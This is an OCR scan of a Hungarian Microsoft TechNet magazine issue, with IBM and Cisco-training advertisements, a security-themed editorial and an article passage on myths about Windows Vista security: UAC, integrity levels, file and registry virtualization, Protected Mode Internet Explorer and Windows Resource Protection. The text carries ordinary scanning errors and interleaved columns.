- AZ ISA SERVER
~ ARCHITEKTURAJ

fira: 999 Ft

gy Microsof TechNe
‘9771586518005 07005 St L =3



Mikor volt ideje egy jo piknikre?

Toltse az idejét pihenéssel, amig a szerverei dolgoznak!

Vasaroljon most barmilyen IBM Express Seller System x x86 alapu szervert, mereviemezes /
szalagos IBM taroloeszkozt, és rendeljen hozza IBM ServicePac garancia-kiterjesztest,

vagy szerezzen be cégének egy Uj IBM System x3200-as szervert, és meglepjitk Ont egy
profi piknikkosarral.

Az uj IBM System x3200-as szerver tOkéletes
adattarolasi, fajl- és nyomtatasi feladatokhoz,
vagy webes alkalmazasok kiszolgalasahoz.

Ugyanakkor nem kerul tébbe, mint egy atlagos PC.
Ara: 119 880 Ft + afa

(Konfiguracio: 1x Intel Pentium D 915 2,8 GHz kétmagos processzor;
512 MB RAM - 8 GB-ig bévitheté; Simple-swap (hidegen cserélheté)
diszkek; Diszk nélkiili valtozat; GB ethernet halézati csatolé; 400 W-os
tapegység; 1 év helyszini garancia)

Vasarlasait regisztralja a partnerinfo@hu.ibm.com e-mail cimen vagy kolléganknal és
megajandékozzuk Ont egy piknikkosarral.

Az akcio részleteit megtalalja az alabbi weboldalon: www.ibm.com/businesscenter/smb/hu/hu/drumbeat

Az akcidban szerepld IBM Express Seller termékek listajat a kovetkezd honlapon tekintheti meg: http://shop.avnet.hu/piknikakcio

Tovabbi informaciék: partnerinfo@hu.ibm.com

Avnet Technology Solutions Kft.

H - 1117 Budapest, Budafoki (t 91-93. IP West Irodah&az
Tel.: +36 1888 2 333

Fax: +36 1888 2 334

E-mail: info.hu@avnet.com

Web:  www.avnet.hu
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Business
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...ES VEDUNK]!

Kinek mi jut eszébe a biztonsagrél?

ostani szimunk fokusztémaja a biztonsig - szimtalan érdekes szakmai cikk segitsé-
gével mertliink mélyebbre ezen a teriileten, tobbféle megkozelitésben: tamadunk,

védekeztink, megeléziink, beavatkozunk, hibakat haritunk el. Magazinunkban to-

vabbra is legfontosabb célnak azt tartjuk, hogy olyan mélység(i, mindségti és megkozelitést

szakmai tartalom kertiljon olvasdinkhoz, amihez mas forrasbol - magyar nyelven - nem lehet | Budai Péter
hozzajutni. Microsoft Magyarorszdg
A tartalom magaért beszél (vagy legaldbbis ir), ezért nem is arrol, hanem a cimlap sziiletésé-
nek hatterérsl osztanék meg a Kedves Olvasoval néhany gondolatot.
A cimlap héttérfotéjit és koncepciojat mér az eldz6 szam 6ta Léndrd Gdbor (MVP) késziti:
rengeteg id6t és energidt szant arra, hogy a témahoz illo, mégis ujszerti dtlettel rukkoljon el6.
Igy ahelyett, hogy beértiik volna az agyonhasznalt zarak és lakatok ismétlésével, megprobal-

tuk megfogni a biztonsdg lényegét. :

Vonatkoztassunk el rogton egy kicsit az informatikatol! A mindennapi életben a biztonsdg
leginkdbb nyugalmat, kényelmet jelent legtobbiink szamdra - szeretnénk biztonsagban tudni
szeretteinket, sajat életiinket, értékeinket, és ugy altaldban mindent, ami szimunkra barmi
miatt fontos.

Ha valami pétolhatatlan vagy szamunkra kiillonosen értékes - példaul az élet vagy valami-
lyen nem reprodukalhato, beszerezhet targy -, annak minden dron térténd megdvasara és
gyakran birtokldsara toreksziink. Ha valami masolhato, ellesheté, lehallgathatd, akkor 4ltala-
ban az informéci6 biztonsagarol beszélhetiink. Ne felejtstik el, hogy a rendelkezéstinkre 4llo
id6 is véges - és ki ne szeretné azt a lehetd legboldogabban, legnyugodtabban eltolteni - vagy-
is beszélhetiink a zavartalansdg és a privat szférank biztonsagardl is.

Az informacio biztonsagdra és értékeink megovdsara tett kisérleteink gyakran kényelmiink
rovasara mennek. Ezzel kapcsolatban szokott felmeriilni az a jogos kérdés, hogy a biztonsdg
vagy a korldtozasoktol mentes élet felé billenjen-e inkdbb a mérleg nyelve. Természetesen
nincs rd univerzalis vélasz.

A biztonsag terén a legnagyobb értékkel az bir, amikor valamilyen technolégia vagy szerve-
zet Ugy képes védeni minket, hogy kézben a nyugalmunkat sem sérti. Mindezt észrevétlentl,
a hattérbol teszi, és tényleg csak akkor lép kozbe (de akkor azonnal és hatdsosan), amikor fel-
tétlentil szitkséges - és akkor akdr az életiinket is koszonhetjiik neki.

Nem véletlen tehat a cimlapon a biztonséagi ¢v: hiszen az is és a légzsak is pontosan ezt fe-

jezi ki - és mint a Magazinban latni fogjuk, a ma elérheté Microsofttechnologidk is hasonlo

szemlélettel késziilnek.

R-DECEMBER




Minosegi Cisco tanfolyamok

Intenziv tovabbképzések a legnépszeriibb témakban

Mindsitett, tapasztalt oktatoi csapat Y | I 1ol I I
Teljes, él0 Cisco eszkozpark és szimulatorok c I s c o

Tobb mint 7 éve a Cisco oktatasi piacon...
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® Cisco & Microsoft alapok. Kezdo6 rendszergazda csomag

Windows Server 2003 lizemeltetési ismeretek + CCNA ismeretek,
10 nap O6sszesen 470.000 Ft helyett csak 369.000 Ft!
(2008 januar végétol)

B Frissitse CCNP ismereteit!

Cisco CCNP upgrade tanfolyam - most csak 249.000 Ft!
(2008. februar)

= Legyen On is mindsitett Cisco szakember!

) Cisco halozati mérnok képzéssorozat 20% kedvezménnyel,
: mar 835.000 Ft-tol (2008 januar végétol)

A feltiintetett drak netto arak, melyeket 20% AFA terhel. Tovabbi informaciok weboldalunkon!

A vezetid telekommunikacios cégek minket valasztottak. Es On?

sa SZAMALK Tovabbképzés - Telefon: 203-0304/4122 mellék
o www.szamalk.hu/tisza/cisco
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A WINDOWS

VISTA

BIZTONSAGA:
10 TEVHIT
ES AZ IGAZSAG

EgyértelmGen a Vista a legbiztonsdgosabb Windows-verzié, amelyet

a Microsoft valaha kiadott. Ennek ellenére sok olyan hiresztelés

|&4tott napvildgot, amely szerint még a Windows XP SP2 szintjét sem

éri el. Egyes funkcidkrél pedig olyan tévhitek terjedtek el, amelyek

a hamis biztonsdg ill0zidjat kelthetik.

Cikkinkben ezeket szeretnénk tisztdzni.

Computing) kezdeményezését, valaszlépésként a Windows platformot ért, minden-

! Microsoft 2002-ben jelentette be a Megbizhatd szamitistechnika (Trustworthy

napiva valt tamaddsok miatt. A kezdeményezés célja, hogy valamennyi megjelend
Microsofttermék tervezésénél (Secure by Design), alapértelmezett bedllitasaindl (Secure by
Default), telepitésénél (Secure in Deployment) és a kapcsolodo leirasok, ismertetdk készitésénél,
visszajelzések gytijtésénél (Communication) a biztonség folyamatosan szem eldtt legyen tartva.
A Windows XP még két évvel e kezdeményezés elétt jelent meg, ezért nem tudott teljes mér-
tékben profitalni a paradigmaviéltas elényeibdl, noha a 2004-es mésodik javitocsomag jelentds
lépést jelentett ebbe az iranyba. A Windows Vista az elsé olyan operacids rendszer a Microsoft
torténetében, amely mar a tervezésétdl fogva a ,Megbizhat6 szamitastechnika” filozofia figye-
lembevételével késziilhetett. A Vista esetében sok rendszerkomponens teljes dtalakitdson esett
at (példaul a teljes halozatkezelést tjrairtak), ami az aj funkciok bevezetésén és a régi funkciok
javitasan tul lehetoévé tette, hogy a rendszer biztonsdga tobbé ne lehessen megkérdsjelezheto.
A Vista szdimos olyan biztonsagot novel tjdonsaggal rendelkezik, amelyek nem léteztek

a korabbiakban. Gondoljunk csak a kernelt érint6 véltozasokra, az Address Space Layout
Randomization bevezetésére, a hitelesitési ujdonsigokra, a Network Access Protectionre, a
BitLockerre, az [PSec- ¢s Windows Firewall-tjdonsdgokra, és még hosszan lehetne folytatni a

felsorolast.

Természetesen hosszabb idére lesz sziikség
ahhoz, hogy valamennyi Windows-felhaszna-
lo tisztdban legyen a Windows Vista Osszes
biztonsagi tjdonsdgaval, viltozasaival.

Az informatikai szakemberek sziméra még
ennél is sokkal fontosabb, hogy ismerjék a
leggyakoribb tévhiteket, amelyek a rendszer-
rel kapcsolatban élnek az emberek fejében
- hiszen egy rendszer tervezésekor, bevezeté-
sekor és tzemeltetésekor ezek kulcsfontossa-
guak lehetnek.

1. A rendszergazda-fiok
alapértelmezetten le van tiltva?

Igaz, hogy a Vista letiltja az alapértelmezett
Rendszergazda- (Administrator) fiokot, de
csak akkor, ha vannak més aktiv rendszergaz-

dai (Administrators) csoporttagsaggal rendel-

Microsoft TechNet
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kezo fidkok is rendszertinkben - ezzel védi a
Vista a rendszert a beépitett Rendszergazda
elleni tamadasoktol -, hiszen ennek a fiok-
nak a neve mindenki szdmara ismert, és a
jelszava is gyakran egyszert - vagy akar tires
is lehet -, igy kénnyen feltorhets. Egy uj
Vista esetén az els¢ - telepitéskor - felvett
felhaszndloi fiok bekeriil a Rendszergazdak-
csoportba (ugyanugy, ahogy Windows 2000
és Windows XP esetén), de a tovabbiak nem.
Amint felveszik a kovetkezd rendszergazda
csoporttagsagu felhasznalot, a Vista letiltja
az alapértelmezett Rendszergazda-fiokot.
Fontos kiemelni, hogy az alapértelmezet-
ten létrejovo Rendszergazda- (Administrator)
ficknak nincs jelszava. Ennek javasolt min-
denképpen egy bonyolult jelszét adni, még

akkor is, ha letiltds a sorsa.

2. A User Account Control
sem csokkenti a szikséges
rendszergazddk szamadt?
A Windows-platformon rengeteg biztonsagi
probléma abbol adodik, hogy a felhasznalok
rendszergazdai jogokkal futtatjak az alkal-
mazisokat, noha erre az esetek tobbségében
nincs szitkség.

Mair Windows XP esetében is joval kisebb
a rendszer taimadasi feliilete, ha a felhaszna-
16 nem rendszergazdai jogokkal jelentkezik

be. A ,standard” felhasznaldi jogokkal be-

hoz képest indokolatlanul igénylik az admi-
nisztratori jogosultsiggal valo futist.

A rendszergazdai jogosultsag teljes hozza-
férést ad az operacios rendszerhez és a sza-
mitogép minden komponenséhez, lehetévé
téve olyan modositasokat, amelyek a rend-
szert mitkodésképtelenné tehetik, vagy kart
tehetnek mas felhasznaldk adataiban. Vista
elétt az elsédleges felhasznélasi modell az ad-
minisztrativ jogok meglétére épitett, a szoft-
verfejlesztok tobbnyire feltételezték, hogy a
programjuk elérhet és modosithat akarmi-
lyen fajlt, regisztracios adatbazis-bejegyzést
vagy opericiosrendszer-beallitast.

Tovébbi probléma az, hogy a felhasznalok-
nak idonként szitkséges mtveletek elvégzé-
se, mint példdul programok telepitése, egyes
rendszerbedllitisok modositdsa - id6 meg-
viltoztatasa, ttzfalport nyitasa stb. - szintén
rendszergazdai jogokat igényelt.

A felhaszndloi fiokok feliigyelete (User
Account Control - UAC) ennek a probléma-
kornek a kezelésére sziiletett. A cél az volt,
hogy a felhasznalo ,standard” jogokkal tud-
jon futtatni minden alkalmazast, viszont azo-
kat az alkalmazasokat, amelyek rendszergazdai
jogokat igényelnek, egyszertien lehessen enge-
délyezni. Ez a kévetkezodt jelenti: fiiggetleniil
attol, hogy a felhasznalé rendelkezike rend-
szergazdai csoporttagsdggal, a nevében elindi-
tott alkalmazasok automatikusan nem kapjak

meg ezt a rendszergazdai

s Account Control

ment Snapin Launcher
Micosoft Windens

) Detals Continue | [ Coneel

User Account Control helps stop unauthorized changes to your computer.

A Secure Desktop-dllapot

jelentkezo felhasznilok nevében futtatott al-
kalmazasok nem tudnak kart tenni sem az
operacios rendszerben, sem mas felhasznalok
alloményaiban.

Azonban a Windows-platformra fejlesztett

szoftverek sok esetben az ellatott funkcidjuk-
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jogkort (ez alol kivétel a
beépitett Administrator-
Rendszergazda fiok; ra
nem érvényes az UAC).
A felhasznilonak kiilon
engedélyeznie kell azt,
amikor  rendszergazdai
jogaival szeretne élni. Ez
lehetéséget biztosit a fel-
hasznalonak, hogy eldont-
se: egy alkalmazas élhete
ezekkel a jogokkal.

Ami egyben azt is je-
lenti, hogy a felhasznalo
minden esetben informa-
ciot kap arrol, hogy mi-

lyen rendszergazdai joggal futé alkalmazasok
indulnak el.

Amikor egy felhasznalé bejelentkezik,
az UAC két security tokent hoz létre. Egy
ynormal” felhasznalodi tokent és egy masi-

kat, amely tartalmazza a rendszergazdai jo-

gokat. Egy elinditott folyamat nem kapja
meg a rendszergazdai jogokat, amennyiben
a felhaszndld a folyamat induldsakor nem
engedélyezi azt az UAC feliiletén keresztiil.
A létrejott ,normdl” felhasznaloi token a
kovetkezokben kilonbozik a rendszergazdai
tokentdl:
= Kilenc rendszergazdai szint(i jog nincs
benne.

A felhasznalo integritasi szintje Medium,

High helyett.

Ervényes rd egy mindent tilto SID.

Megjelenhet szimara az UAC-engedélyezd

ablak (consent.exe).

A f4jl- és regisztracios adatbézis virtualiza-

ciojat alkalmazni lehet ra.

Ennek révén még a rendszergazdai jogokat
amugy birtokls felhasznalé sem rendszergaz-
dai jogokkal béngészi az internetet, vagy nyit
meg egy potencialisan veszélyes e-mailt.

A Vista az UAC ellenére tovabbra is rend-
szergazdai jogot kovetel meg a rendszer szem-
pontjabol érzékeny muveletek elvégzésére.

A sziikséges rendszergazdai jogokkal ren-
delkez6 felhaszndlok szamanak tovabbi csok-
kentését a Vista tobbek kozott a kovetkezd
modokon teszi lehet6vé.
= Sok feladat elvégzése a Vista esetében mar

nem igényel rendszergazdai jogokat, szem-

ben a kordbbi Windows-verziokkal (pél-
daul az id6zona megvéltoztatisa, a ve-
zetéknélkili hilozat konfiguricidja, az
energiagazdalkodas bedllitdsai, kritikus

Windows-frissitések telepitése stb.).

A Vista lehetévé teszi a rendszergazdik

szamdra, hogy meghatirozzak, a nem rend-

szergazdai jogu felhaszndlok milyen meg-
hajtoprogramokat, eszkdzoket, ActiveX-ve-
zérloket telepithetnek. fgy a nem rendszer-
gazdai jogu felhasznalok is telepithetnek
engedélyezett nyomtatokat, VPN-szoftve-
reket stb.

Hilozati  alapkonfigurdciok — elvégzésé-
hez a felhasznalot elegendd hozzdadni a
Network Configurations Operators cso-
porthoz. Ennek a csoportnak példdul jo-
ga van az [P-cimek megvaltoztatisahoz,
a DNS cache iritéséhez, vagyis anélkul
végezhetok el ezek a feladatok, hogy a fel-
hasznalé Administrators csoporttagsdgara
lenne sziikség.

Az UAC fijlrendszer és a regisztracios
adatbazis virtualizdcidja, valamint a beépi-

tett alkalmazaskompatibilitdsi sémak se-
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gitségével tobb, korabban rendszergazdai
jogokat igényld alkalmazast futtathatunk
akar standard felhaszndloval is.
Osszefoglalva, a Vista rengeteg lehetéséget
tartalmaz, amelyek révén a felhasznalok el-
végezhetik a feladataikat anélkiil, hogy rend-

szergazdai jogokra lenne sziikségiik.

Az UAC-engedélyezd ablakban nem adha-
tunk meg ,standard” felhaszndloi fidkot, hi-
szen egy ilyen fioknak nincsenek olyan jogai,
amit az UAC-elevacioval lehetne engedélyez-
ni. Azonban az UAC-engedélyezés ettdl még
nem csak a Rendszergazdak-csoport tagjaira
érvényes. Barmilyen fiock a Rendszergazdak,
Biztonsagimasolatfelelosok, Halozati rend-
szergazddk vagy Kiemelt felhasznalok csopor-
tokbol szintén magasabb jogkdrtnek szami-
tanak, igy e csoportok tagjaira is érvényes az
UAC-elevacio.

Példaul amennyiben egy felhasznalsi prog-
ram futtataséhoz valamelyest eltérd jogokra
van szlikség, de nem akarunk rendszergazdai
jogokat adni, a kovetkezoket tehetjitk. Egy
masik felhasznaloi fidkot hozunk létre, és
hozzaadjuk a Kiemelt felhasznalok (Power
users) csoportjahoz - amely Vista esetében
semmivel nem tartalmaz tobb jogot, mint
a Users-csoport, csak kompatibilitasi okok
miatt maradt meg -, és ennek a csoportnak
adjuk meg az alkalmazds futtatasihoz sziik-
séges jogokat. Ezutdn, ha egy felhasznalonak
(akinek a fiokja csak ,standard” Users-cso-
porttagsiggal rendelkezik) sziiksége van az
alkalmazdsra, akkor az inditids utin meg-
adhatja a korabbiakban felvett Power Users
csoporttagsagu fiok nevét és jelszavit, és azt

gépeli be az UAC-engedélyezési ablakba.

A folyamatok és mas objektumok biztonsa-
gi leirdiban is uj SID-ek jelentek meg, ezek
a Mandatory Integrity Level (IL) szintek. A
jobbra 1évo tabldzatban lathatok a Windows
Vistiaban definialt szintek.

Az egyes objektumok integritasi szintjei a
System Access Control Listeken (SACL) ta-
rolodnak. Az egyes folyamatok, szalak min-
den esetben rendelkeznek integritasiszintbe-
jegyzésekkel. A fajl- és regisztraciosadatbdzis-
bejegyzések, amennyiben nem rendelkeznek

explicit IL-bejegyzéssel, implicit Medium IL

Command Prompt

dows\8ystend2becho Hello TechWet! > Technet.txt
is denied.

C:\Windows\Systen32decho Hello TechWet! > Technet.txt

C:Windows\§ysten32>dir Technet.txt

Uolume in drive C has no label.

Uolume Serial Number is BESC-D3EL

Directory of C:\Windous\Systen32

2007.10.23. 17:38
1 FileCs m

@ Dirds> 30 698 889 728 bytes

17 Technet .txt

C:\Windows\Systen3z>dir Technet.txt
Uolume in drive C has no label.

Uolume Serial Number is BESC-D3EL
Directory of C:sWindous\Systen32

File Not Found

Co\Uindous\Systendz>dix c:\sersinatyas\Appdatarlocal VireualStore Windous \Syste
n

Uolume in drive C has no label.
Uglume Serial Number is 8ESCG-D3EL

Directory of c:\Users\matyas\fippDatazlocal\WirtualStoreHindous\Systen32

17:38 <DIRY

73 o
1 Fileds)
2 Dirds>

17 Technet.txt

yt
38 691 458 888 hytes

G:zWindows\System32>_

Féjlrendszer-virtualizécié a gyakorlatban

szint szerinti hozzaféréstiek. Azok az objek
tumok, amelyeket Medium vagy magasabb
integritasi szint folyamatok hoznak létre,
Medium IL megjelolést kapnak. Azok az ob-
jektumok, amelyeket Low integritasi szintG
folyamatok (példdul a védett modu Internet
Explorer) hoznak létre, Low megjelolést kap-
nak. Az integritdsi szintek ellendrzése min-
den esetben a Discretionary

Access Control List (DACL) oo

- amely tartalmazza az objek-

Untrusted
tumhoz tartozd hozzaférési lis-
tat - tipusu ellendrzések elott Low
torténik. Egy folyamat vagy
szal csak akkor nyithat meg Medium

egy objektumot irdsra, ha az
ILje nagyobb vagy egyenld,
mint a megnyitandé objektum High
[Lje. Egy szal vagy folyamat

csak akkor nyithat meg egy System
objektumot olvasasra, ha az
nem egy folyamatobjektum,
vagy a szdl, vagy a folyamat IL-je nagyobb
vagy egyenld, mint a masik folyamat [L-je. Ez
meggatolja az érzékeny informaciok kiszivar-
gasat a memoriaolvasasok révén. Az ablakke-
zel6 alrendszer szintén figyelembe veszi az IL-
eket, ez meggitolja a Window Message-eken

keresztiili hozzaférést is.

A UAC biztosit egy fijlrendszerre és regiszt-
racios adatbazisra érvényes virtualizaciot is.
Ennek révén az ilyen virtualizaltan” futta-
tott alkalmazasok ugy végezhetnek irast a

fajlrendszerbe vagy a regisztracids adatba-

Protected process

zisba, hogy kézben nem
modositjak a valodi fajl-
rendszert és regisztracios
adatbézist. A fajlrendszeri
irasok esetében a rend-
szermappakba (Windows,
System32, Program Files,
kivéve a rendszer dltal vé-
dett .exe ¢és .dll alloma-
nyok és futtathaté dllo-
manyok esetén) torténd
irasok a virtualizdlt folya-
matrél atiranyitodnak a
\Users\<felhasznalonév>\
AppData\Local\Virtual-

Store mappédban, a meg-

felel6 almappdkba (lasd az dbran), a regiszt-
racios adatbazisba irdnyuld irdsok pedig a
HKCU\Software\Classes\VirtualStore kulcs
ald. Mint lathato, mind a kettd a felhasznalo
profilja alatt helyezkedik el, igy neki van is
rd irasi joga. Ha a felhaszndlonkénti szabaly
nem definialja masképp, az olvasis elséként

a globalis helyrol torténik. A fijlrendszer vir-

SID Hex érték
S-1-16-0 0

Haszndlati példak
Anonymus/Null Session

Védett modo Internet
Explorer

Hitelesitett felhaszndlok/
Nem elevdlt

S-1-16-4096 1000

S-1-16-8192 2000

Rendszergazda-jogiak

Rendszergazdak/

S-1-16-12288 3000 Elevdh jogok

5-1-16-16384 4000
$-1-16-20480 5000

Helyi rendszer

Rendszer

tualizdcidja egy filter driver (luafv.sys) segitsé-
gével valosul meg, a regisztracios adatbazisé
pedig beépitetten.

Lathato, hogy noha valaki az Adminis-
trators csoport tagja, a Windows\System32
mappdba irds nem sikertlt a nem elevalt
jogokkal inditott parancssorban. A virtuali-
zacio bekapcsolasakor (alapértelmezetten a
Windows-komponensek nem virtualizaltan
indulnak), az irds azonban sikertlt. A dir
paranccsal ki is listdzta a létrejott f4jlt, azon-
ban a virtualizacio kikapcsolasakor lathato,
hogy a f4jl nem a Windows\System32 map-
paban jott létre, hanem az atiranyitott he-
lyen. Azok a futtathaté allomanyok, amelyek

nem rendelkeznek mashogy a manifesztjik-




ben, virtualizaltan futnak (a Windows-kom-
ponensek mindegyikének a manifesztje nem
virtualizalt futtatast ir eld, a példaban ezért
a Task Managerben kéz-

zel atallitani a virtualizalt futtatdsra).

kellett a parancssort a

User Mode

Legacy Application Windows Vista

Write to \Windows\App.ini

Application

Kernel Mode l l

Write to

\Users\<cuser>\App !
Data\Local\Virtual w_"tg to oy
Store\Windows\ Indows\App.ini
App.ini

v

Ntfs.sys

Access
Denied!

A fajlrendszer-virtualizacio felépitése

A f4jl- és a regisztracios adatbézis virtua-
lizcioja meggatolja az {rasokat a nem rend-
szergazdai jogt (nem elevalt) folyamatok szd-
mara, de csak az aldbbi helyekre:
= \Program Files ¢s minden alkényvtéra;
= \Program Files (x86) 64-bites rendszere-

ken;
= \Windows és minden almappdja, beleért

ve a System32-t is;
= \Users\%AllUsersProfile% \ProgramData

(ami XP-n a \Documents and Settings\All

Users mappa volt);
= \Documents and Settings (atiranyitott

mappa);
= HKLM\Software.

Az alabbi objektumok azonban soha sem
virtualizalhatok:
= Vista-alkalmazasok;
= futtathaté allomanyok, mint az .exe, .bat,

vbs és .scr. - tovabbi fajlrendszeri kivéte-

lek a HKLM\System\CurrentControlSet\

Services\Luafv\Parameters\Excluded Exten-

sionsAdd kulesban adhatok meg;
= 64 bites alkalmazasok és folyamatok;
= azok az alkalmazisok, amelyek manifeszt

jiikben definialjak, hogy nem virtualizal-
tan futtatandok (mint az 6sszes Vista-kom-

ponens);

= folyamatok és alkalmazasok, amelyek rend-
szergazdai jogokkal futnak;

= kernel modu alkalmazasok;

= muveletek, amelyek nem interaktiv beje-
lentkezésbol szarmaznak (példaul: fajlmeg-
osztason keresztiili elérés);

= alkalmazasok, amelyek a regisztracios

adatbdzisban a Dont_Virtualize registry

flaggel megjeloltek. (A reg.exe segitségé-

vel lathatjuk a hirom uj registry flaget

a HKLM\Software kulcs alatt: DONT _

VIRTUALIZE, DONT_SILENT_FAIL,

RECURSE_FLAG.)

6. Biztonsagi hatar az UAC?
Biztonsdgi hatiarnak nevezziik azt, ahol biz-
tonsagi eldirasok definialjak, hogy mi ha-
ladhat keresztiil a biztonsagi hatdron (pél-
daul: egy ttizfal). A User Account Controlt
a Microsoft soha nem is tervezte biztonsdgi
hatirként kezelni. A bejelentkezett felhasz-
nalé nevében ,standard”
felhasznaloi jogokkal fu-
td rosszindulatu kod és
a felhasznalo 4ltal enge-
délyezett adminisztratori
jogokkal futo alkalmazis
a felhasznald kontex
tusaban fut, ahol nincs
koztik specialis bizton-
sdgi hatdr - ez garantal-
nd, hogy a rosszindulatu
kod ne férhessen hozza -83.29.
az emelt jogokkal rendel- oo 1160
kez6 alkalmazashoz. Az

UAC azonban igy is jelen-

IC:\Temp>psexec —1 cnd.exe

G:\Temp>cd “userprofilex\AppDatasLocalsMicrosoft\Windows\Temporary Internet File|

a:ya..\ﬁana:a\anal\ﬂmxn..nfr:\umdmp..\umpm ary Internet Files>echo He
chnet.tx
atyas\AppDatasLocalsMicrosoft\Windows\Temporary Internet Files>cd Low

g s\matyas\AppDatasLocal\Microsoft\Windows\Temporary Internet Files\Low>ech|
o Hello Technet?! > Technet.txt

C:\Users\matyas\AppDatasLocalsMicrosoft\WindowssTenporary Internet Files\Low>dir|

Uolume in drive C has ne label
Uolume Serial Humber is S8ESC-D3EL

Directory of Ci\Users\matyas\AppDatasLocal\MicrosoftsWindows\Temporary Internet
Files\Low

16 48
2 Dirds ) 26 328 293 376 hytes free

C:\Users\matyas\AppDatatLocal\Microsof t\Uindows\Temporary Internet Files\Lowd.

S -

tartalmaz (az UAC-n tul) egy csomd olyan
biztonsdgot néveld tjdonsdgot, mint a szol-
giltatasok védelmének novelése, az autentika-
ciés ujdonsigok, kernelvaltozasok, az ASLR,
a BitLocker, a Windows Firewall- és IPSec-
ujdonsagok, Network Access Protection stb.
A Vista architekturajanak mar a tervezéstol

fogva része a biztonsag.

8. A védett modu Internet Explorer
minden letoltést ved?

A megfogalmazas helyesen ugy hangzik,
hogy a védett modu Internet Explorer tovab-
bi pluszvédelmet nyujt a weboldalak megje-
lenitésekor automatikusan lefuté tartalmak-
kal szemben. Fontos megemliteni, hogy az
Internet Explorer védett modja nem minden
biztonsagi zéna esetén érvényes, alapértel-
mezetten ugyanis a védett mod nem terjed
ki a Megbizhaté helyek zonaban levé web-
oldalakra.

IPsExec v1.86 — Execute proc
887 Mar]

881 1
poration. All rights reserved.

<DIR>
<DIR>

tiPhishing
16 384 nsmcsnz DAT

17 Technet. txt
ytes

tds mértékben hozzdjarul
ahhoz, hogy a Windows-
platform tdmadsési feliilete csokkenjen, vala-
mint nagyobb kontrollt ad a felhasznilo ke-
zébe, és abba az iranyba tereli a fejlesztoket,
hogy standard felhasznaloi jogokkal futtat-
hat6 alkalmazasokat irjanak.

Amennyiben biztonsagi hatdrra van sziik-
ségiink, akkor a felhaszndloknak egyszertien
nem szabad rendszergazdai joggal bejelent

kezniiik.

7. Az UAC kikapcsoldsa esetén

a Vista az XP SP2 biztonsdgi szintjét
sem éri el?

A Vista tartalmazza a Windows XP SP2 altal
bevezetett biztonsdgi szolgaltatdsokat, hiszen

abbol lett tovabbfejlesztve. Ezenfelil a Vista

A Low integritdsi szinttel rendelkezd folyamat csak a Low mappdba irhat

A védett modu IE védelmét a bongészo fo-
lyamatédnak Low integritasi szinten futtatdsa
adja. Ez érvényes a legtobb IE-objektumra is,
mint a bongészémentik, bévitmények sth. A
védett modu IE altal letsltott tartalmak Low
integritassal is elérhetd f4jl- és registry-helye-
ken tarolédnak, ahonnan nincs direkt irasi
lehetéség a rendszerfajlok vagy egyéb felhasz-
ndldi fajlok elérési helyeire.

Ezt mutatja be a fenti dbra. A bemutaté
elkészitéséhez a http://www.microsoft.com/
technet/sysinternals/ oldalrol letslthetd pse-
xec alkalmazast vettitk alapul, amely az -1
kapcsolo segitségével képes egy folyamatot
Low integritasi szinttel elinditani.

Az abran lathatd, hogy a védett modu




& cimLAPON

Internet Explorer 4ltal hasznalt ideiglenes
mappa konyvtira a ,normdl” Temporary
Internet Files konyvtar alatt talalhato Low
nevii mappa. Ez a mappa annyiban kiilon-

leges, hogy a Low integritasi szinti folyama-

rabbi Windows File Protection (WFP) meg-
olddssal azonositjak. A WFP-t a Windows
2000-ben, mig egy hozza nagyban hasonlo
megoldast, a System File Protectiont (SFP)
a Windows Millennium Editionnel vezették

[ Console Root Mame

Fraomen... C

Group = Profile

Il i Domai. Inbound Rules

4 @ Windows Firewall with Adve @ Coreny P MR
£ Inbound Rules

0 Core Networking -| Distributed Transaction Coordinator (RPC-EPMAF) Properties

st ]

i@ MewRule..

Outbound Rul,
B3 Outbound Rules -pate

Connection Security Rul
-1 B @ Core Networ

Users and Computers | Protocolsand Ports | Scope [ Advanced

T Filter by Profile

Lo
1 % Monitoring 0
Core N k

® Core Networking - Programs

Frograms and Services T Filter by State

T Filter by Group

T — -

@ Core Networking - al
0 Core Networking - |i ‘Customize Service Settings

-

@ Core Networking -|
@ Core Netwaorking -
otore Networking - ||
@ Core Networking -
@ Core Networking - ||
otore Networking -

Apply this rule as follows:

@ Core Networking -
@ Networking - Routd,
. Distributed Transa:
@ Distributed Transa
@ Distributed Transad)|
. Distributed Transa:
@ Distributed Transa
@ Distributed Transad|
OFHE and Printer Sh Lear

% Problem Reports and Solutions Contral Panel Support
S.; Program Compatibility Assistant Service PcaSve
£, Protected Storage

%, Quality Windows Audio Video Bxperience
% ReadyBoost

{4, Remote Access Auto Connection Manager Rasfuto
¢, Remote Access Connection Manager RasMan

Remote Procedure Call (RPC) Locator

Short Name
wercplsupport
ProtectedStorage

QWAVE
EMDMgmt

R
RocLocator

@ File and Printer Sh
@ rile and Printer Shal)|

& short name (example: eventiog)

@ File and Printer Sh — |
@ File and Printer Sharing (NB-
@ File and Printer Sharing (NB-
(@ File and Printer Sharing (NB-
@ File and Printer Sharing (N&-
4 I,

A szolgdltatasok kommunikdcidjdnak szabdlyozdsa a Windows Tiizfalon

toknak is van joguk irni ide. Lathato, hogy
a Low integritast folyamatnak csak ebbe a
mappaba sikertilt az iras.

A védett médu IE az automatikusan le-
t6lt6dd tartalmak elleni védelemre készilt.
Azok a tartalmak, amelyeket a felhaszndlo
maga tolt le vagy indit el, Medium integri-
tasi szintet kapnak. Azok a tartalmak pedig,
amelyeket rendszergazdai elevacioval indit el
a felhasznalo (példaul: egy ActiveX-vezérld te-
lepitése) High integritasi szintet kapnak.

Tehat lehet napstités Parizsban vagy esd
Londonban, de ha a felhasznalé igy is ravehe-
t6 arra, hogy letoltsén és futtasson egy rossz-
indulatu kédot tartalmazo allomanyt, akkor
a védett modu IE sem tehet sokat ellene.
Valos idejt virus és spyware elleni védelemre

tehdt tovabbra is sziikség van.

9. A Vista rendszervédelme
megegyezik a kordbbi
rendszerfdjl-védelemmel?

A Vistaban taldlhaté Windows Resource
Protection (WRP) megoldast sokszor a ko-

be. Mindketté hasonlit a WRP-re, de jelen-
t6s eltérések vannak a megvaldsitasaban.

A WFP csak fajlokat figyelt. Ezzel szem-
ben a WRP a kritikus fajlokat, mappakat és
a regisztracios adatbdzis bejegyzéseit is védi.
A WFP/SFP csak a védett rendszerfajlokat
érinté modositasokat figyelte.

Amennyiben ezek a véltozdsok nem hite-
lesitettek, a WFP/SFP visszacseréli a modo-
sult dllomanyokat egy korabbi, megbizhato
mentésbél. A leggyakoribb figyelmeztetés,
amit a WFP korabban adott, egy felhaszna-
loi figyelmeztetés vagy egy eseménynapld-be-
jegyzés volt.

A WRP tovabb erésiti a rendszererdfor-
rasok védelmét, kiterjesztve a védelmet a re-
